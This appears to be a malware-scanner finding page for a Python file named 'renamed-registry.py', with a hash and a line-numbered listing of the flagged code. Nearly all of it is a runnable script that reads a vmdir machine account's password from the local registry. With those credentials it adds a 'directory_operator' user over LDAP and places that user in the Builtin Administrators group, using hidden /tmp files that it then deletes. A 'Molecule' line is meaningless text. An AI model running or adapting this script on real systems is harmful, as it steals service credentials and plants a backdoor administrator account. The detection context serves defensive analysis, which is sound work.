renamed-registry.py
lwregshell queries vmdir machine-account credentialsVmdir credential query near LDAP modification commands
SHA-2561c25d8eb1c4e268719c6f46147736ef3292498456aacb07920d1faf9ab08611c
MaleculeO(Ca)H₅(Cm₃Db₂F₉OsPo₇)Md₂(In₃Pt)
Evidence
1import re, subprocess, os, sys
2try:
3 OUT = subprocess.check_output(["/opt/likewise/bin/lwregshell", "list_values", "[HKEY_THIS_MACHINE\\Services\\vmdir]"], stderr=subprocess.DEVNULL).decode("utf-8", "replace")
4except Exception as e:
5 print("ADDUSER_RESULT:ERR lwregshell: " + str(e)[:100])
6 sys.exit(1)
7def extract(key):
8 m = re.search(r'''"%s"\s+REG_SZ\s+"(.*)"''' % re.escape(key), OUT)
9 val = m.group(1) if m else ""
10 # lwregshell 转义规则: " -> \", \ -> \\
11 # 反转义: 先 \" -> ", 再 \\\\ -> \\
12 # 注意顺序: 必须先处理 \", 否则会破坏 \\\\
13 if val:
14 val = val.replace('\\"', '"').replace('\\\\', '\\')
15 return val
16machine_dn = extract("dcAccountDN")
17machine_pw = extract("dcAccountPassword")
18if not machine_dn or not machine_pw:
19 print("ADDUSER_RESULT:ERR no_dcAccount_dn=%s_pw=%s" % (machine_dn, machine_pw))
20 sys.exit(1)
21base = ",".join([x for x in machine_dn.split(",") if x.startswith("dc=")])
22domain = ".".join([x[3:] for x in machine_dn.split(",") if x.startswith("dc=")])
23dn = "cn=directory_operator,cn=Users," + base
24upn = "directory_operator@" + domain
25PASS = '<PASSWORD>'
26with open("/tmp/.a.ldif", "w") as f:
27 f.write("dn: %s\nuserPrincipalName: %s\nsAMAccountName: directory_operator\ncn: directory_operator\nobjectClass …
27:133… s: person\nobjectClass: organizationalPerson\nobjectClass: user\nuserPassword: %s\n" % (dn, upn, PASS))
28p1 = subprocess.Popen(["ldapadd", "-x", "-h", "127.0.0.1", "-D", machine_dn, "-w", machine_pw, "-f", "/tmp/.a.ldif"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
29out1, _ = p1.communicate()
30print("ADDUSER_RESULT:" + out1.decode("utf-8", "replace").replace("\n", " | ")[:200])
31with open("/tmp/.b.ldif", "w") as f:
32 f.write("dn: cn=Administrators,cn=Builtin,%s\nchangetype: modify\nadd: member\nmember: %s\n" % (base, dn))
33p2 = subprocess.Popen(["ldapmodify", "-x", "-h", "127.0.0.1", "-D", machine_dn, "-w", machine_pw, "-f", "/tmp/.b.ldif"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
34out2, _ = p2.communicate()
35print("ADDADMIN_RESULT:" + out2.decode("utf-8", "replace").replace("\n", " | ")[:200])
36try:
37 os.remove("/tmp/.a.ldif"); os.remove("/tmp/.b.ldif")
38except: pass